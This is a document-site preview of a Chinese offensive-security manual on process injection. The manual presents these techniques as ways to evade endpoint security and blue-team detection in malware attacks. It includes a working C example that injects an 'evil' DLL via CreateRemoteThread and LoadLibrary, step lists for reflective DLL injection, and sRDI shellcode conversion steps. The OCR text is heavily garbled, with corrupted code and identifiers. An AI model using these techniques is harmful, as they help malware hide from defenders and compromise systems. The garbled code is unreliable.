欢迎来到优知文库! | 帮助中心 分享价值,成长自我!
优知文库
全部分类
  • 幼儿/小学教育>
  • 中学教育>
  • 高等教育>
  • 研究生考试>
  • 外语学习>
  • 资格/认证考试>
  • 论文>
  • IT计算机>
  • 法律/法学>
  • 建筑/环境>
  • 通信/电子>
  • 医学/心理学>
  • ImageVerifierCode 换一换
    首页 优知文库 > 资源分类 > DOCX文档下载
    分享到微信 分享到微博 分享到QQ空间

    2024进程注入技术手册.docx

    • 资源ID:1269927       资源大小:931.08KB        全文页数:66页
    • 资源格式: DOCX        下载积分:9金币
    快捷下载 游客一键下载
    账号登录下载
    微信登录下载
    三方登录下载: QQ登录
    二维码
    扫码关注公众号登录
    下载资源需要9金币
    邮箱/手机:
    温馨提示:
    快捷下载时,如果您不填写信息,系统将为您自动创建临时账号,适用于临时下载。
    如果您填写信息,用户名和密码都是您填写的【邮箱或者手机号】(系统自动生成),方便查询和重复下载。
    如填写123,账号就是123,密码也是123。
    支付方式: 支付宝    微信支付   
    验证码:   换一换

    加入VIP,免费下载
     
    账号:
    密码:
    验证码:   换一换
      忘记密码?
        
    友情提示
    2、PDF文件下载后,可能会被浏览器默认打开,此种情况可以点击浏览器菜单,保存网页到桌面,就可以正常下载了。
    3、本站不支持迅雷下载,请使用电脑自带的IE浏览器,或者360浏览器、谷歌浏览器下载即可。
    4、本站资源下载后的文档和图纸-无水印,预览文档经过压缩,下载后原文更清晰。
    5、试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。

    2024进程注入技术手册.docx

    进程注入技术手册目录D1.1.注入经典D1.1.注入注入方法例子反射D1.1.注实现方法例子SheIleOde反射D1.1.注入(sRDl)PE注入在远程进程中执行Shellcode没有VirtUalAIIOCEXRWX的AddreSSOfEntryPOint代码注入注入方法DemoPROCESSHO1.1.OWING(RunPE)注入方法ProcessDoppelganging注入方法线程执行劫持注入方法完整DnIeO例子从PE资源加教和执行Shellcode注入方法DemoAPC队列代码注入注入方法DemoAPC队列代码注入变种SetWindowHookEx注入DemoNtCreateSection+NtMapViewfSection代码注入注入方法DemoModuleStomping注入方法DenIo案例分享后记进程注入是一种常用来绕过总端安全软件和蓝队排查的手法,在无文件落地和恶意软件攻击中的都是常用的手法。在另一个进程的地址空间内运行自定义代码。进程注入提高了隐身性,一些技术还实现了持久性。D1.1.注入经典D1.1.注入通过创建者远程线程和加载库的D1.1.注入是把ShHICOde注入另一个进程的常用技术在攻击中我们可以将其恶意动态链接库(D1.1.)的路径写入另一个进程的虚拟地址空间中,并通过在目标进程中创建远程线程来确保远程进程加载它。D1.1.注入是将代码注入至卜个远程进程中,并让远程进程调用1.oad1.ibrary()函数从而强制远程进程加载一个D1.1.程序到进程中。而当D1.1.被加载时就会运行D1.1.中的DllMain()函数,所以就会为代码执行提供机会,而因为D1.1.本身是由感染后的进程加载的同时PE文件也并没有对系统进行过多的敏感操作所以这种技术具有相当强的一种隐蔽性。C1.ASSICD1.1.INJECTIONTARGETPROCESSMA1.WAREPROCESSSinwinouc<2-DISKSPACEENDGAME.注入方法1.指定一个目标进程,例如SVChoSt.exe。常用方法:CreateToolhelp32Snapshot是用于枚举指定进程或所有进程的堆或模块状态的APl,它返回-个快照一PrOCeSS32FirSt检索有关快照中第一个进程的信息然后在循环中使用ProCeSS32NeXt遍历它们找到目标进程后,通过调用OPenProCeSS获取目标进程的句柄例子intmain(itargc,char*argv)HAND1.EprocessHadle;PVOIDremoteBuffer;wcharjdllPath=TEXT(',Cevilm64.dl);printf(',lnjectingD1.1.toPID:%in",atoi(argv1);ProcessHandIe=OpenProcess(PROCESS_A1.1._ACCESS,FA1.SE,DWORD(atoi(argv1);remoteBuffer=VirtualAllocEx(processHandle,NU1.1.,sizeofdllPath,MEM_COMMIT,PAGE_READWRITE);WriteProcessMemory(processHandle,remoteBuffer,(1.PVOID)dllPath,SizeofdIIPath,NU1.1.);PTHREAD_START_ROUTINEthreatStartRoutineAddress=(PTHREAD-START-ROTINE)GetProcAddress(GetModuleHandle(TEXT(',Kernel32,')j"1.oad1.ibraryW");CreateRemoteThread(processHandle,NU1.1.,O,threatStartRoutineAddress,remoteBuffer,O,NU1.1.);CloseHandIe(ProcessHandIe);returnO;反射D1.1.注入反射D1.1.注入是一种库注入技术,其中采用反射编程的概念来将库从内存加载到主机进程中常规的D1.1.注入方式相信大家都很熟悉了,禾睨CreateRemOteThread这一函数在目标进程中开始一个新的线程,这个线程执行系统的APl函数1.Oad1.ibrary,之后D1.1.就被装载到目标进程中了。常规的注入方式太过于套路化(CreateRemOteThread+1.oad1.ibrary)导致它十分容易被检测出来。同时常规的D1.1.注入方式还需要目标D1.1.必须存在磁盘上,而文件一旦落地就也存在着被杀毒软件查杀的险。实现方法要实现反射式注入D1.1.我们需要两个部分,注射器和被注入的D1.1.。其中,被注入的D1.1.除了需要导出一个函数RefleCtiVe1.oader来实现对自身的加载之外其余部分可以正常编写源代码以及编译。而注射器部分只需要将被注入的D1.1.文件写入到目标进程,然后将控制权转交给这个RefieCtiVe1.Oader即可。1 .使用RWX权限打开目标进程并为D1.1.分配足够大的内存2 .将D1.1.复制到分配的内存空间中3 .计算D1.1.内的内存偏移量到用于进行反射加载的导出4,使用反射加载器函数的偏移地址作为人口点,调用CreateRemoteThread(或等效的未记录的APl函数,如RtcreateUSerThread)以在远程进程中开始执行5,反射加载器函数使用适当的CPU寄存器查找目标进程的进程环境块(PEB)并使用它来查找内存kernel32.dll和任何其他所需库的地址6 .解析kernel32的exports目录,找至U需要的APl函数如1.oad1.ibraryAGetPrOCAddreSS的内存地址VirtUalAilOC7 .然后使用这些函数将D1.1.(本身)正确加载到内存中并调用其人口点DIIMain更多技术细节:https:/www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injectionblogs.eom/lsgxeva/p/12923419.html例子把D1.1.注入指定进程弹出MeSSageBoXRcmmutl>ivalwMr*N!M.11hM>ln4ta如果要加载ShelICOd6在dll中定义就行POC:WOTWWOWS!MeCMyMMSUrtoeUaR2nVll11>WMMCRMMShellCode反射D1.1.注入(sRDI)Shellcode反射D1.1.注入(sRDI)是一种技术,它允许将给定的D1.1.转换为位置无关的shellcode,然后可以使用任意ShelICode注入和执行技术注入该ShelICod&相对于标准RDI使用SRDI的一些优点:可以转换任何D1.1.为无位置依赖的ShelICode并且可以使用标准的ShellCode注入技术来使用它。1.1.中不需要写任何反射加载器代码,因为反射加载器是在D1.1.外部的ShellCOde中实现的。合理使用权限,没有大量的RWX权限数据。还可以根据选项,抹掉PE头特征。SRDl的所有功能基于以下两个组件:-个C语言项目,可将PE1.oader编译为Shellcode转换代码负责将D1.1.、RDI和用户数据进行绑定由以下文件组成:SheIIcodeRDI:编译D1.1.加载器的ShellcodeNative1.oader:需要时,将D1.1.转换为shellcode然后注入内存DotNet1.oader:Native1.oader的C#实现pythonConvertToSheIIcode.Py:将D1.1.转换为shellcodePythonEncodeBIobs.py:对已编译的SRDI进行编码,进行静态嵌入PowerSheIIConvertTo-Shellcode.ps!:将D1.1.转换为ShellCodeFunctionTest:导入sRDI的C函数进行调试测试TestD1.1.:示例D1.1.,包括两个导出函数,用于后续的加载和调用D1.1.不需要使用RDI进行编译,但是该技术具有交叉兼容性。POWerShelI导入194PSC:Uers111eDesktop½fiASM)XjA%R0I-masterslU)I-MaiterPcwerSe1)>Import-Module.COnvertTo-Shel!code.pla编写D1.1.DemoCrmtvFroeMiA(N1.1,'<)*ftot*pd.et<*MIX,SIUVTBl40.UaaMIX.i.a);*tcIulr*nn.trrail)caseQ1.1.PffXXSSAnACH:liessae8oxACHIX4vD1.Dbin!*.*le'etartd.*0);CreatePlrocesaA(SI1.1.*(1.PSTR>*Bot<>d.eeMU_M_1.1.TRIE0.MUwMI1.,ivpi);br:CMeBUnMAlMTTAaI:CM*Otln*EDDT!:caseB1.1.PfOOSSDCTACM:break;CamwrtTo-SkwIl<odvC:Ut<rlll<DvktapMV将D1.1.转换为shellcode.默认为一个以十进制值表示的shellcode字节数组:TC:UerUl«D9ktcJftlliAXSMITiiAMBMmtirMIImt9rF0wrrSh9ll>al(tUItDIV1RDl-Mtter0etMMTestDII«11方便后面利用,我们转化为16进制把ShelICOde保存转为C的SheIlCOdeMtav<MMr-o一三r=三三il三三三三三三1三三:T三三,三,s:一三三三三三三H,7三三总三三2三三三三=三:=H三'.H三三H三k一三三三三三-三-s.=s:»s:£I三三=三si三三三w三三三三H三M三s三三三Is'三i三三-三E三三三三三三:H三:三S然后使用其他手法加载就行。PE注入将其SheIICode复制到现有的打开进程中并使其执行(例如:调用CreateRemoteThread).PE注入相对于1.oad1.ibrary技术的优势之一是我们不必在磁盘上放置D1.1.与D1.1.注入类似在目标进程(例如VirtUalAlloCEX)中分配内存然后使用WritePro

    注意事项

    本文(2024进程注入技术手册.docx)为本站会员(王**)主动上传,优知文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知优知文库(点击联系客服),我们立即给予删除!

    温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载不扣分。




    关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

    copyright@ 2008-2023 yzwku网站版权所有

    经营许可证编号:宁ICP备2022001189号-2

    本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。优知文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知优知文库网,我们立即给予删除!

    收起
    展开